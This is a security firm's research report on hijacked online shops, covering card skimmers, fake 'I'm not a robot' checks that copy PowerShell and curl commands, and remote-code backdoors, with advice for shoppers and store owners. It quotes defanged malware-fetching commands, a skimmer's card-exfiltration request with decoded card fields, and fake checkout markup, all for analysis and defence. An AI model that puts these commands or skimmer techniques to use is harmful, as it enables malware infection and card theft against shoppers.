Home
Labs

CartJacked
One in 195 Online Shops We Scanned Was Hijacked. A Month Later, Most Still Were.

We read the code of every online store in two monthly copies of the web, about 2.4 million each, then visited the hijacked ones the way a shopper does. This is what was planted in them, what it does to the people who shop there, and how long it stays.

TLDR

One online shop in 195 was hijacked in October 2026: about 12,200 of the 2.38 million stores in that month’s copy of the web, saved by the nonprofit Common Crawl, carried code or content their owners did not put there. In September it was one in 156; most of the difference is one kit.

Hijacked shops stay hijacked. Of September’s hijacked shops that the crawler saw again a month later, 62% were still hijacked. Weeks after the crawl, 28% of October’s still served the attack code to our browser, and most kits show the attack itself only to visitors who look like real shoppers.

Three schemes go straight after shoppers: hand-offs to gambling and scam pages, fake “I’m not a robot” checks that tell you to paste a command (about 900 shops), and card skimmers. Of the ten commands the fake checks handed out, three still delivered malware, including a stealer for passwords and crypto wallets.

At the checkout, the code of 63 October shops took our test card in a sealed checkout, most of them sending it on at once, often with the expiration date, security code, name and address.

How we know. An AI model read every store, and AI reviewers sealed off from our answers re-checked samples of every kind of verdict; every estimate here is corrected for the errors they found. Every attack we show as seen (611 cases) was then checked one by one: by an AI reviewer and, for every case it was unsure of and a random 150 of the rest, by one of our researchers. None of the 150 was wrong.

Guardio sells consumer security software. Nothing in this article requires buying anything, ours or anyone else’s. Data as of October 31, 2026.

One shop, end to end

On October 30 our cloud browser opened an online shop the way a Windows shopper does, arriving from a Google search. The page went white. In its place came “Performing security verification,” the shop’s own name in large type, a checkbox and, after one click, four steps: press the Windows key and X, press I, press Ctrl and V, press Enter.

Those keys open PowerShell, Windows’ command window, paste in a line the page had just copied to the clipboard, and run it. We didn’t press them. Instead we downloaded what the line downloads, one step at a time, and ran none of it.

A shop’s cart page replaced by a fake security check, and the command it copied

.com/cart/
A white page titled Performing security verification with a box of steps: press the Windows key and X, press I to open PowerShell, press Ctrl and V, press Enter
What the page put on the clipboard, October 30
IRM fastly.jsdelivr[.]net/g"h"/Katy7684/76-51fd-…/90b-… | IEX
1

Windows + X, then I opens PowerShell from the power-user menu, a route that skips the Run box some companies lock down.

2

IRM … | IEX downloads a script and runs it. PowerShell drops the quotes in g"h", so the address reads /gh/: a GitHub account served through jsDelivr, a free network for open-source code that firewalls rarely block. Splitting the letters keeps a text filter from seeing the address whole.

A hijacked shop, October 30, 2026, Windows profile arriving from a Google search, after one click on the fake checkbox. Above this crop, the fake check prints the shop’s name, as Cloudflare’s real page does; we do not name the stores. Commands in this article are defanged: [.] stops a line working if pasted, and “…” marks cuts.

From a shop’s page to code built to run inside Microsoft Edge’s updater, step by step

1

In the archive

The planted loader

The shop’s page, as Common Crawl saved it in October, hides a loader: code that fetches the attack from a smart contract, a program stored on a blockchain (here the BNB Smart Chain test network, free for developers), and runs it.

L1 · Planted
2

In our sandbox

Decoded offline

Run in our sealed fake browser, the loader reaches for the test network’s public nodes.

L2 · Decoded
3

Live, October 29–30

Served to a shopper

The live page asks the test network for its code. On Windows, a fake check covers the shop.

L5 · Payload shown
4

The paste

76 KB from GitHub

A scrambled (obfuscated) PowerShell script starts a second, hidden 32-bit PowerShell.

Fetched, not run
5

Second download

6.5 MB, mostly padding

From a subdomain of fablegrid[.]cc, registered on October 22: about 65,000 lines of junk around a payload encoded with the key AMSI_RESULT_NOT_DETECTED.

Fetched, not run
6

The end

Hidden in a trusted process

It starts Microsoft Edge’s updater suspended, writes 314 KB of shellcode into it and lets it run. Inside sits an encrypted 311 KB block whose header suggests a module of about 718 KB.

Decoded, not run
Steps 1 to 3 on the shop above: the October archive, our sealed sandbox, our live visits. Steps 4 and 5 fetched once each on October 30, with the request the command makes; step 6 decoded from step 5 with our own scripts. Nothing was run. AMSI is Windows’ interface for antivirus scanning. Shellcode is raw machine code: hidden in Edge’s updater, it runs under a trusted name. Edge has no flaw here; the malware borrows its trusted name.

The attackers changed that line within a day. On October 29 the same fake check, on the same shop, pointed at a GitHub account named sdedyk172. By the 30th that account was gone, and the check handed out a new one, Katy7684, opened the evening before. The shop itself did not need to change: its planted code fetches the fake check from outside on every visit, so one change upstream re-arms every shop that carries it.

That was one shop. We did the same for every hijacked shop we could find.

How we looked

Each look catches something the one before it cannot see.

Three looks at every shop: the archive, the visit, the checkout

2.38M
online stores in October’s copy of the web
Common Crawl, a nonprofit, saves a large sample of the web every month without running the pages’ code, so the attackers’ checks for scanners never fire. We read every online store in two of those copies.
Finds the planted code
12,801
shops classified as hijacked, visited live October 29–31
Our sandboxed cloud browser went back to nearly every shop we had classified as hijacked, arriving from a Google search. It clicked fake checkboxes, stayed longer, and came back as a Mac or a phone for the kits that wait for one.
Shows what a shopper gets
215
skimmer shops given a test checkout, November 1
In a sealed browser with no network, every shop with skimmer code got a checkout of its own, and we typed a published test card into it.
Shows where the card goes
Numbers are October’s. September’s crawl went through the same three steps: 2.36 million stores, 15,798 shops visited, 250 skimmer checkouts.

The first reading was done by AI. Jev, a judgment model made by TypeSafe, read every piece of code in every store, then gave each flagged store an overall verdict. AI gets things wrong, so separate AI reviewers, sealed off from our answers and notes, re-checked samples of every kind of verdict, and every estimate here is corrected for the error rates they measured. The attacks we saw ourselves were then reviewed one by one. How we checked has both.

One shop in 195

About 12,200 of the 2,379,169 online stores in October’s copy were hijacked: real shops carrying code or content their owners did not put there, such as hidden pages of casino links or a fake “I’m not a robot” check. That is one in 195. September, measured the same way, had about 15,100, one in 156.

About 12,200 hijacked shops in October and 15,100 in September

Hijacked shop: a real store carrying malicious code or injected content. Any malicious adds shop domains that now serve gambling, adult or scam pages, and stores that are scams themselves. Whiskers: 95% intervals. Both counts are minimums: only stores our scan flagged can count, and the scan reads only code written into the page.

Most of the drop is one kit (the same attack code, planted on many shops) that sells the visitors of the shops it infects to other sites; the independent threat tracker Ohey calls it LA02. A fixed string in its code turned up on 2,995 September shops and on 641 October shops. Leave that kit out, and our pipeline’s counts for the two months are within 4.5% of each other.

Hijacked shops stay hijacked

Common Crawl samples a different slice of the web each month, but it saw more than half of September’s hijacked shops again in October. 62% of those were still hijacked.

62% of September’s hijacked shops were hijacked again a month later

Same page: stores fetched at the same address both times, so any change is the shop’s, not a different page. No flag: our scan raised nothing on the October page, which is not the same as clean. Of 2,887 such no-flag shops we visited at the end of October, 346 still served September’s attack code.
70%of the shops caught by a known kit or code confirmed earlier, our surest kind of verdict, were hijacked again a month later
1,682shops hijacked in both months still served the attack when we visited at the end of October
71%of October’s hijacked shops that September’s crawl had also fetched were already hijacked in September

It isn’t one stubborn kit. Many kits carry a fixed string in their code that survives every rebuild, so we looked for each one in both months. Apart from the resale kit, every malicious kit we could follow on at least 25 shops kept at least half of them, most two-thirds or more.

The same string, looked for in both months: one kit collapsed, the others kept most of their shops

Circles: shops carrying the kit’s string in September (open) and October (filled), on a square-root scale. Still there: of September’s shops with the string that the crawler fetched again, the share that still had it. Below the line: deceptive, not malicious (speed-test cloaking fakes performance scores; the theme kill switch is a theme vendor’s license check).

What attackers do with a shop

Breaking in is the first step. What the attackers do next decides who pays. Each hijacked shop serves one main scheme, and three of the five go straight after the people who shop there: their money, their computer or their card.

Spam pages, remote-controlled code and sold visits make up most hijacked shops; fake checks held roughly level

Swipe sideways to see the whole table

Estimated hijacked shops by scheme, each shop counted once by the main thing its planted code did and weighted like the estimate, rounded to the nearest ten. A kit counts under the scheme it was built for in both months. The rest of the estimate, about 3,000 shops in October and 2,400 in September, has no scheme: those are the hijacked shops our checks found among stores the pipeline left undecided or called clean.

In a month, selling visits halved, nearly all of it the resale kit. The fake checks, the scheme that goes after a shopper’s own computer, held roughly level: about 850 shops in September and 900 in October.

Self-hosted shops get hit most

Shops that run their own copy of the shop software, such as WooCommerce, Magento or OpenCart, were hijacked far more often than Shopify shops. In October, 7.0 to 8.1 of every 1,000 self-hosted shops were hijacked, against 0.75 to 2.2 on Shopify. The low ends count only the shops our pipeline classified as hijacked; the high ends are the full estimate. Low end against low end, that is about 9 times as often; high end against high end, about 4 times. Hosted shops are not immune: their themes, apps and admin accounts can be hijacked too.

In October, self-hosted shops were hijacked about 4 to 9 times as often as Shopify shops

Each range runs between two ways of counting. Open dot, the minimum: only the shops our pipeline classified as hijacked, each discounted by how often reviewers confirmed that kind of call. Filled dot: the full estimate, which adds the hijacked shops our checks found among stores the pipeline left undecided or called clean, at error rates measured on all platforms together, not platform by platform. BigCommerce: only 5 of its 76 October shops classified as hijacked rest on reviewed code or a named kit, and most of its full estimate comes from undecided stores, so its range is too wide to rank it. Platforms as recognized from the store page; “other” is mostly WordPress sites with other carts, and stores we could not place.

Weeks later, still there

A count doesn’t show the attack. So from October 29 to 31, our sandboxed cloud browser went back to nearly every shop we had classified as hijacked, in both crawls, as a Windows shopper arriving from a Google search. Recorders loaded before each page’s own code logged every script it decoded, every blockchain call, every live connection and everything it put on the clipboard. We scored each shop by the furthest step of the attack we saw:

L1Planted. The archived page carries malicious code or injected content.
L2Decoded. In our sealed sandbox, its hidden code revealed where it goes or what it does.
L3Served. A live visit found the shop’s own attack code in the page.
L4Reached. The live page contacted the attacker’s side while we watched.
L5Payload. The attack showed itself: a command, a fake check, code pushed live, a jump to a casino or scam page.

Weeks after the crawl, more than a quarter of October’s hijacked shops still served the attack code; fewer than one in fifty showed us the attack itself

Bars: share of the visited shops that reached at least each level; L1 is every shop classified as hijacked. Not a trend: September’s shops were visited six to eight weeks after their crawl, October’s 11 to 26 days after. Not seen is not clean: most kits show themselves only to some visitors (a first visit, the right country, the right computer, a real mouse), and one kit rebuilds its code for every copy, so our live check rarely recognizes it.

The attack code is often still there: 28% of the October shops we visited still served it. Few showed us the attack itself, because the kits wait for a real person: 2,706 shops contacted the attackers’ servers or smart contracts while we watched, and 237 handed over the payload. Going back to 1,123 quiet shops of the fake-check and blockchain kits, staying longer and clicking later, turned up 2 more. What a cloud browser sees is a floor.

See it kit by kit

Most kits were still served live; the live-channel backdoors showed us their payload most often

Shops: shops classified as hijacked and carrying the kit, by its name in our reviewed list; we visited nearly all of them. L3, L4: share of the visited shops at that level or beyond. L5: shops that showed us the payload. The WebSocket and WebRTC backdoors run whatever their server sends on every visit, so 41 of their 75 visited shops showed it; the blockchain loaders asked the chain for orders while we watched but rarely showed a lure. * The LA02 resale kit rebuilds its code for every copy, so our live check rarely recognizes it. Counted by the string in its code, it went from 2,995 shops in September to 641 in October.

What the attacks did to our browser

237 October shops showed us the attack itself, in four forms. Some showed more than one.

Four ways a hijacked shop came at our browser

50
shops put a command on the clipboard
A fake check copies a line and tells you to paste it into the Run box or a terminal.
63
shops showed a fake security check
Cloudflare and reCAPTCHA lookalikes. Some appear only after a click, some only on Windows.
81
shops ran code pushed over a live connection
The page holds a line open to a server and runs whatever script comes down it.
67
shops handed us off
Indonesian slot and lottery sites, Vietnamese casinos, “18+ videos” pages, a crypto presale bot on Telegram.
October shops, visited October 29 to 31, counted strictly. A fake check needs keyboard steps, a copied command, or a page with no real check behind it. A live connection must go to one of the shop’s own attack hosts or an address at most 50 shops load, since chat widgets keep connections open too, and code must run after the server answers. A hand-off must land on a casino, adult or scam page.

We followed every command. The commands fall into ten templates. We fetched what each one fetches, once, with exactly the request the command makes, and decoded every stage with our own scripts. Nothing was run.

Of ten commands the fake checks copied, three still delivered malware on October 30 and 31

Command (defanged)Next stagesEnd of the chain
Still delivering malware on October 30 and 31: 3 commands
cmd /c "for /f … f_* … %~zF==224310 tar -xf … r.bat"Windows, cache smugglingThe fake reCAPTCHA had loaded an “image,” newusdt.png, from gentle-dew-e922.avsecurity.workers[.]dev: a real PNG with a ZIP appended. The command finds it in Chrome’s cache by its size and unpacks it.Malware
Infostealer. r.bat starts ProCore.dll, which fetches 12 modules; its settings list 64 crypto-wallet folders, 34 wallet extensions, browser passwords and cookies, Telegram and FileZilla.
IRM fastly.jsdelivr[.]net/g"h"/Katy7684/… | IEXWindows76 KB PowerShell from GitHub → hidden 32-bit PowerShell → 6.5 MB script from fablegrid[.]cc.Malware
Shellcode injected into Microsoft Edge’s updater or rundll32; inner module encrypted.
curl.exe -sL -o … "hxxps://swingerwives[.]com"; tar.exe -xf …WindowsA ZIP dated minutes before our request.Malware
Packed program Gratefull.exe, whose version details claim it is a media player.
Refused our replay: 1 command
irm …t-trustrest[.]com/govnologi/<id> -UserAgent 'WUA/…'Refused our replay (403): the per-visit token in each command had expired or is tied to the visitor’s address.Not followed
Dead upstream: 6 commands, 5 still copied by the shops
IRM fastly.jsdelivr[.]net/g"h"/sdedyk172/… | IEXGitHub account gone (“not found”).Dead
Replaced within a day by the Katy7684 line.
conhost --headless cmd … zor-876/futures-import@04e2419/llmjsDelivr: “User zor-876 is blocked.”Dead
irm …cosmical2049[.]com/clickfix/<id> · …copiose[.]org/lom/<id>Both domains put on hold by their registry or registrar, one in September, one in October.Dead
/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' … <random>.<withheld>/?ublib=…)"macOSRandom subdomains of an older domain whose owner we could not verify (withheld); they no longer resolve.Dead
curl -s $(echo <base64> | base64 -d) | zsh → escapeai[.]live/loader_v2.shmacOSDomain on registrar hold since about September 25.Dead
Ten templates, nine rows: the two commands whose domains are on hold share a row. Fetched once each, on October 30 and 31, with the User-Agent and headers the command sends (the cache-smuggling image with a browser’s). Text stages were decoded with our own scripts; programs were hashed in memory and never saved or run. Hashes are in the indicator list at the end.

Six of the ten were already dead: a GitHub account deleted, a jsDelivr account blocked, three domains put on hold, and the subdomains of a sixth no longer resolving. The shops kept handing out five of them anyway, some for weeks. A takedown protects the visitor who pastes; it does not clean the shop, and the kit only has to change one address to re-arm every shop it is on.

Code on request. Some kits keep a live line open to their server, through a WebSocket or WebRTC connection (the browser feature behind video calls), and run whatever code comes down it. On 59 of those 81 shops, we matched the code the page ran to the message the server had just sent:

The server sent a script; three milliseconds later the shop’s page ran it

One hijacked shop, October 30, times from page load
1.86 s1WebSocket opens wss://jinoapi[.]com/widget2.86 s2message ← {"v":1,"type":"execute","id":"53c3f32c-…","script":"const n=b;(function(c,d){const m=b,e=c();while(!![]){try{const f=-parseInt(m(0x9c))…"}+3 ms3Function( "const n=b;(function(c,d){const m=b,e=c();while(!![]){try{const f=-parseInt(m(0x9c))…" ) the same script, run, with its socket handle filled in27.9 smessage ← {"v":1,"type":"pong",…} again at 52.9 s and 77.9 s: the line stays open
The same backdoor on 37 shops, all with the same address. The script it delivered to us is obfuscated; whatever it does, the shop’s owner did not put it there, and the server can send something else to the next visitor.

At the checkout

Card skimmers wait for the one page a visit rarely reaches: the payment form. 215 October shops ran code we classified as a card skimmer, and 123 still served it at the end of October. On a shop in the UK, our cloud browser found the payment provider’s secure card frame still in the page but switched off, with three boxes drawn by the kit in its place.

A real checkout. The card fields are fake.

.com/checkout/
The payment section of a WooCommerce checkout with Credit / Debit Card selected: fields for card number, expiration date and security code
wss://pixelhaimer[.]top/custom-ws · open

← Drag across the page to X-ray it

1

The real card form is still there, hidden. Stripe draws its fields inside its own secure frame, so neither the shop’s page nor anything injected into it can read the number. The kit switched that frame off.

<div class="wc-stripe-upe-element StripeElement" … data-gw-replaced-simple="true" style="display: none;">
2

These three fields are the skimmer’s. They are ordinary inputs in the page itself, where its script can read every keystroke.

<input type="text" id="cardNum" maxlength="19" name="cardNum" placeholder="1234 1234 1234 1234" …> <input type="text" id="exp" name="exp" maxlength="5" placeholder="MM / YY" …> <input type="text" id="cvv" name="cvc" placeholder="CVC" …>
3

A line to the attacker stays open. 1.2 seconds after the checkout loaded, the kit opened a WebSocket to its server, which answered “1” every three seconds for as long as we stayed.

A shop in the UK, October 15, 2026, after adding one item to the cart and choosing “Credit / Debit Card.” Nothing was typed into any field. This is the card-form kit the ad-security firm Confiant named HexMage. The markup is quoted as captured; “…” marks attributes left out for space.

To see what the code does with a card, we gave every skimmer shop a checkout of its own: its archived page, in a sealed browser with no network. We typed a published test card number, 4111 1111 1111 1111, key by key, pressed the order button and decoded everything the page tried to send.

The code of 63 October shops took the card (88 in September). On 45 it went straight out; on 18 the kit hid it in a cookie or the browser’s storage for a later request to collect. These are minimums: many skimmers load their card code from another server at the checkout, and the archive does not keep those files.

The busiest kit builds a separate skimmer for every shop. It grew from 42 shops in September to 64 in October. The archive keeps only its loader, so we could test it only where our live visits had captured a shop’s build: 20 shops, 19 of which sent our test card. That is why the table below credits it with only 17 October shops.

One kit, a build for every shop: the fake form, and what it sent

sealed sandbox · one shop’s build
A card form headed Payment details in the shop’s language, with Visa, Mastercard, Discover and American Express logos and fields for card number 4111 1111 1111 1111, expiration date 12 / 29 and CVV 123

What it posted, twice (one collector each)

POST zendlock[.]shop/g.php
POST ledon[.]pics/g.php

d=eyJ1IjoiaHR0cHM6Ly9zaG9wLmV4YW1wbGUvY2hlY2tvdXQvIiwiZiI6W3sibiI6InBheW1lbnRbY2NfbnVtYmVyXS…
 &m=1&p=1

The same, decoded

{"u":"https://shop.example/checkout/",
 "f":[{"n":"payment[cc_number]",
       "v":"4111 1111 1111 1111"},
      {"n":"payment[date]","v":"12 / 29"},
      {"n":"payment[cc_cid]","v":"123"},
      {"n":"billing_first_name","v":"Test"},
      … every other field on the page]}
1

Made for one shop. Each build names the payment method it replaces, often a local bank or payment gateway, on most shops a list of WooCommerce’s usual ones. It clicks that method and draws its own card form there, in the shop’s language (4 so far), with its own pair of collectors (4 pairs).

2

It knows where the checkout is. The generic build carries 66 words for it in more than 20 languages, from kassa and afrekenen to odeme and pokladna; a few of them also match product and booking pages.

3

Some builds hide from the owner. On a browser carrying WordPress’s logged-in cookie they draw nothing, so an administrator testing the checkout finds nothing.

4

It does not wait for the order. Once the card number looks valid and the date and code are filled in, it sends them, with every other field on the page, to both of its collectors, the servers that receive the stolen data.

Sealed sandbox, November 1, 2026: builds our cloud browser captured on two shops, run on a checkout of our own with a published test card; nothing left the sandbox. The request is the second shop’s, its address replaced by shop.example and the base64 re-encoded to match. Collector hosts defanged.

The other kits that took the card, from the same run:

Where the test card went

KitSepOctWhat it did with the card
Input listener5018Every field the shopper types, base64-encoded, posted to hostpdf[.]co with a visitor id. The loader deletes its own script tag after it runs.
Cookie stash2418Card and billing fields, hex-encoded, written into a cookie on the shop’s own domain, where a later request, which our sandbox did not see, can pick them up. Mostly Magento shops.
Per-shop fake form217The kit above. The archive holds only its loader, so most of its shops count here only when we had the build.
accept-car23A fake card form drawn in place of a payment method the shop really offers, often a local one; card and billing details as JSON to one of four throwaway domains, three of them .top. A browser it has robbed once is marked and left alone.
Held, not sent10Kept the card in fields of their own, for a part of the kit our sandbox did not have.
Other drops97Domains of their own, other people’s hacked websites, a public push-notification service (ntfy.sh) and, once, the shop’s own server: a file name WordPress does not use, which received every keystroke, so the card never left the shop’s domain.
Shops whose code took the test card in our sealed checkout, by kit and crawl (63 October and 88 September shops in all). A shop counts once, under the first kit that matches. Hacked third-party sites used as drops are left out of the indicators, like the shops.

None of it shows on screen, and the payment providers were not breached: the kits work around them, in the shop’s own page. And skimmers stay, too. Of the 164 September skimmer shops the October crawl fetched again, 118 still carried skimmer code.

One browser defense can stop code like this: a Content Security Policy, a header that tells the browser which scripts a page may run. On the page the crawler saved for each October skimmer shop, usually a product or cart page rather than the checkout, 129 of 214 sent no policy, and all 7 that limited scripts still allowed scripts written into the page itself, where this code sits. (A checkout can carry a stricter policy than the rest of a shop.)

Why the owners don’t know

Before they act, most kits ask one question: is this a real shopper?

They skip automated browsers and virtual machines. Some wait for a mouse, a first visit or a visitor from a search; some act only on Windows, or only on a phone; the blockchain kits record on the chain who has already seen the lure. So owners checking their own shop, site-health tools and security scanners often see a clean page.

We did not study how the attackers got in; nothing here is a flaw we found in WooCommerce, Shopify or the other platforms.

Before Black Friday

Black Friday is November 27. A hijacked shop looks like any other, so the defense is in how you pay and what you are willing to paste.

If you shop online

No real security check asks you to press keys, open a terminal or paste a command. If one does, close the tab. If you already ran it, disconnect the computer from the internet; from another device, change your passwords (email and banking first), sign out of other sessions and move any crypto to a new wallet; then have the computer scanned or reset.
  1. Pay with Apple Pay, Google Pay or PayPal where you can. They keep your card number off the shop’s page.
  2. Use a virtual or single-use card number on small shops you don’t know. A skimmer that gets one gets little.
  3. Notice a checkout that changed. A card form where there never was one, a sudden “pay with Bitcoin” option, a second payment page: stop.
  4. A jump to a casino, an adult page or a “your computer is infected” page means the shop’s traffic has been sold. Don’t buy there.
  5. If a payment fails and the page asks for your card again, pay another way: some skimmers fail the first payment on purpose, after copying the card, and then show the real form.
  6. Turn on card alerts, so you hear about a fraudulent charge the same day.

If you run a store

Look at your shop the way a customer reaches it: a fresh browser profile, from a Google search, on Windows, for a few minutes. If a page asks you to press keys or paste something, that request is the infection. One clean visit proves little.
  1. Open the browser’s network panel and look for calls a shop never needs: blockchain nodes (publicnode.com, bnbchain.org, anything with “testnet” or “sepolia”), wss:// connections you did not add, and addresses that look like random words. WebRTC shows up in Chrome under chrome://webrtc-internals.
  2. Check that your card fields sit inside your payment provider’s frame. In Stripe, Adyen or Braintree checkouts, card inputs are normally not plain fields in your own page.
  3. Search your theme, plugins, uploads and database for fromCharCode, atob(, eth_call, new Function, RTCPeerConnection and unfamiliar files in the uploads folder, and compare them with a clean copy.
  4. After cleaning, rotate every admin, hosting and database password, remove admin accounts you do not recognize, update or remove plugins, and purge every cache: caching plugins keep serving the infected page.
  5. Inventory your checkout scripts and watch them for changes, as PCI DSS requirements 6.4.3 and 11.6.1 ask. A Content Security Policy that blocks inline scripts and limits connections does part of that, and with reporting on it tells you when something new appears; it will not see WebRTC.

Questions we expect

Did hijacking fall between September and October?

The count fell, mostly because one traffic-resale kit lost nearly four in five of its shops. Every other malicious kit we can follow by a string in its code, on at least 25 shops, kept at least half of them. Common Crawl also samples different stores each month, which moves small numbers by chance; the same-store comparisons under “Hijacked shops stay hijacked” are the firmer evidence.

Which stores are affected? Is a shop I use on the list?

We do not publish the list of stores. A store can be cleaned at any time, and a store that is clean today may have been infected in October.

Did you run the malware?

No. We fetched each stage of the commands once and decoded it with our own scripts; programs were never run. Code from the archive ran only in sealed browsers with no network. Our live visits loaded the real shops in a sandboxed cloud browser, where their planted code ran as it would for any shopper; an AI agent clicked the fake checkboxes and, on skimmer kits, typed a published test card number that no bank issues, without paying. No request those visits recorded went to a card-collection address we know of; one kit’s check-in reports did reach its server.

Did an AI decide what is malicious?

For the estimates, mostly, and we measured how well: each kind of AI verdict counts at the share sealed reviewers found right. Every attack we show as seen was also checked case by case, by a separate AI reviewer and by one of our researchers; “How we checked” has the numbers.

How we checked

The estimates. Almost every verdict behind the counts was made by AI: Jev reading code, pages and stores, and Claude agents reviewing what it flagged. So we measured how often each kind of verdict was right, crawl by crawl. The samples behind every weight that moves the estimates, 1,016 cases, went to sealed reviewers: Claude sessions that saw only the archived page and could reach nothing of ours, not our code, notes or verdicts (1,011 got a verdict). The shares they found right are the weights behind the estimates; four small page classes keep their earlier blind shares.

Sealed reviewers confirmed most kinds of verdict; Jev’s store verdicts of redirects, and October’s of hidden loaders, held up less than half the time

Shares among the stores the sealed reviewers could decide, once they had read the page and then the evidence our scanner flagged; red marks a kind of “hijacked” verdict that held up less than half the time. “Unclear” answers are left out. Each kind counts in the estimate at the share measured for its own crawl (where September has no sample of its own, October’s), drawn 4,000 times from its sampling distribution to give the intervals. Undecided: Jev scores each flagged store from 0 to 1; 0.9 or above counts as hijacked, 0.2 or below as clean, and the rest stays undecided. Bot checks: undecided stores whose only evidence was a hosting provider’s robot test, which the crawler often received instead of the shop; they count as clean.

The checkers held up. The sealed reviewers agreed with an earlier, less isolated round of AI reviewers on 935 of 973 judgments and with themselves on 58 of 58 stores judged twice; in a last sealed pass they called none of 60 control shops judged clean twice malicious, and confirmed 49 of 50 judged hijacked twice.

The attacks we show. Every attack this article counts as seen was then checked case by case: the 381 shops whose live visits showed the attack, the 183 sealed checkout runs in which the code took the card (155 shops), the ten command chains and the 37 kits we had named. A separate model, Claude Mythos, sealed off like the reviewers above, read each case’s evidence (screenshots, clipboard text, pushed code, the decoded card, each stage of the commands) and called 542 of the 611 attacks with certainty. One of our researchers then reviewed the other 69 and a random 150 of the 542, with Mythos’s verdict and reasons in view. Ten did not hold up: four shops’ live visits and five checkout runs, left out of every count in this article; one kit we no longer name (its shops stay in the estimate at the rate measured for their kind of verdict). The random 150 held no errors, which puts the share of wrong cases among the attacks we show below 2% (95% confidence).

Prior work and credits

This census builds on the work of researchers who documented these kits one operation at a time: Randy McEoin, who named ClearFake, and Ohey, Censys and LevelBlue, who followed its contracts; Sekoia, eSentire, LevelBlue, Ohey and Hudson Rock on ErrTraffic and its blockchain loaders; Lab539 and Ohey on GzipGnaw, and Ohey on the LA02 resale kit; Confiant on HexMage; Sansec, Source Defense, Report URI and Netskope on WebRTC skimmers; Scott Helme and Sucuri on WebSocket skimmers; Expel and Microsoft on cache smuggling; and our own 2023 work on EtherHiding. Truffle Security showed in 2025 that Common Crawl works as a security lens. What this study adds is the denominator, measured the same way twice, and the chain: for each hijacked shop, how far its attack still went when we came back.

Method, limits and data

Sources. Common Crawl CC-MAIN-2026-39 (collected September 4 to 17, 2026) and CC-MAIN-2026-43 (October 5 to 18, 2026). Store pages were selected by address shape and platform fingerprints, one page per store: 2,357,138 and 2,379,169 stores; 1,345,376 are in both, 182,676 of them at the same address.

One pipeline. Both crawls went through the same code on the same machines. Jev, one pinned version, answered the same questions about every piece of code, host, page and hidden block (once per distinct piece, with a disagreement check between copies), and a rule set combined the answers with per-store facts into 72,115 and 60,618 flagged stores. Hidden scripts ran in a sealed fake browser with no network. One frozen ledger of reviewed verdicts decided stores in both crawls: a verdict on code, a host or a kit carries over between crawls, one on a store or a live visit does not. Jev then scored each flagged store from all of its evidence: 0.9 or above became “classified as hijacked,” 0.2 or below “clean,” the rest undecided.

The estimate. Two counts run through this article. Classified as hijacked is what our pipeline called hijacked: 13,102 shops in October. The estimate counts each kind of verdict at the share of malicious stores sealed reviewers found in a sample of it, per crawl where we have one: reviewed code or a named kit (September 59 of 60, October 59 of 60), Jev’s store verdicts by attack type, undecided stores by Jev’s score, and the page classes; Jev’s miss rate at 0.2 or below (4 of 178) and the small page classes come from October and serve both. Intervals come from 4,000 draws of every share from its Beta posterior. The samples were first judged by Claude agents shown only the evidence our scanner flagged, never our verdict, though they could read our write-ups of known kits; every sample behind a weight that moves the estimates was then judged again by sealed reviewers (the four small page classes, under 70 stores a crawl, keep their first-round shares), with the first round’s definitions where the two differed: a parked or for-sale page counts as a repurposed domain only when it redirects. Undecided stores whose only evidence was a hosting provider’s robot test (7,939 in September, 639 in October) count as clean; none of the 25 sampled was malicious, but up to about one in eight could be, and the intervals do not carry that. Most of Jev’s scam-page verdicts were whole pages replaced by gambling or adult doorways, which we count as domains that now serve something else; counted as hijacked shops instead, October would have one in 189 and September one in 153.

Platforms. The low end of each range counts only the shops classified as hijacked on that platform, each at its verdict kind’s measured share; the high end runs the full estimate on the platform’s stores. Neither the shares nor the undecided stores’ rates were measured platform by platform. Ratios compare low end with low end and high end with high end.

Live checks. From October 29 to 31 our sandboxed cloud browser visited the hijacked shops of both crawls as a Windows shopper from a Google search, with a screenshot; fake-check kits again with an AI agent clicking the checkbox; quiet fake-check and blockchain shops again with a longer stay and a later click; slow kits for longer, Mac and phone kits as a Mac or an Android phone, and skimmer kits through their checkout with a published test card, never submitting. Recorders loaded before the page’s own code logged decoded scripts, blockchain calls, WebSocket and WebRTC traffic and clipboard writes. A shop counts as served when strings or hosts of its own archived attack appear in the live page or traffic, and as reached when it contacted a blockchain node (for kits that read the chain), a WebSocket or WebRTC endpoint that is one of its attack hosts or that at most 50 stores in the crawl load openly, or one of its own sandbox destinations. Reviewers re-reading the evidence of 60 shops per crawl, without our call, confirmed 54 of 57 October and 54 of 54 September “served” calls they could decide, and 25 of 26 and 23 of 23 “reached” calls.

Checkout in a sealed browser. On November 1 every shop of either crawl classified as carrying a card skimmer (250 and 215) went through a sealed checkout: its archived page, fetched again from Common Crawl and checked against the page we had scanned, at the shop’s own checkout address, with a checkout form for its platform (a WooCommerce or Magento form for the 27 Shopify and 3 BigCommerce shops, which their kits may not expect) and a payment method for anything the page’s own code looked for; the 64 skimmer stages our live visits had captured ran the same way. Headless Chromium had no network interface; every request was answered locally, and WebSocket, WebRTC and beacons never connected. The test card (4111 1111 1111 1111, 12/29, 123) and a made-up name and address were typed key by key, the order button pressed and 30 seconds let run. Every request, cookie and storage write was searched for the card through URL, base64, hex, JSON, LZString, character-code, reversed, shifted and single-byte XOR decodings; a form posting to the shop itself does not count. Ten of the 529 runs timed out and count as quiet. Security headers come from each skimmer shop’s archived record, rarely its checkout (214 of 215 October records readable); a policy limits scripts when it has a script-src or default-src rule, and 19 shops sent only a report-only policy, which blocks nothing.

Review of the attacks we show. The 611 cases (a shop in both crawls’ live visits counts once; a checkout run is one archived page or one captured skimmer stage) went to Claude Mythos (claude-mythos-5-1, high effort) in sealed folders of 20, with random case names and no verdict of ours; for each it wrote a verdict, whether it was certain, and its reasons. The researcher’s random sample was drawn with a fixed seed from the cases it called attacks with certainty; the bound is the one-sided 95% Clopper–Pearson bound for 0 errors in 150.

Limits. The archive scan reads only code written into the page, not external script files, which Common Crawl rarely archives. The estimates and the live observations are minimums. Live states are one-shot and come from a cloud browser in a data center; kits that gate on a visitor’s address, a real user or a repeat visit show less than they would to a shopper. September’s shops were visited six to eight weeks after their crawl, October’s 11 to 26 days after, so their live rates are not comparable. Categories are one per store. Common Crawl’s monthly sample is not every online store: it favors sites that are linked to and easy to crawl, so the rates describe the stores in its sample.

Ethics. Attacker code from the archive ran only in sealed sandboxes with no network. Our live visits loaded the real shops in a sandboxed cloud browser, where their planted code ran as it would for any visitor; an AI agent clicked fake checks and typed a published test card number that no bank issues, without paying. Command stages were fetched once each and never executed; programs were hashed in memory and not kept. We do not name the stores.

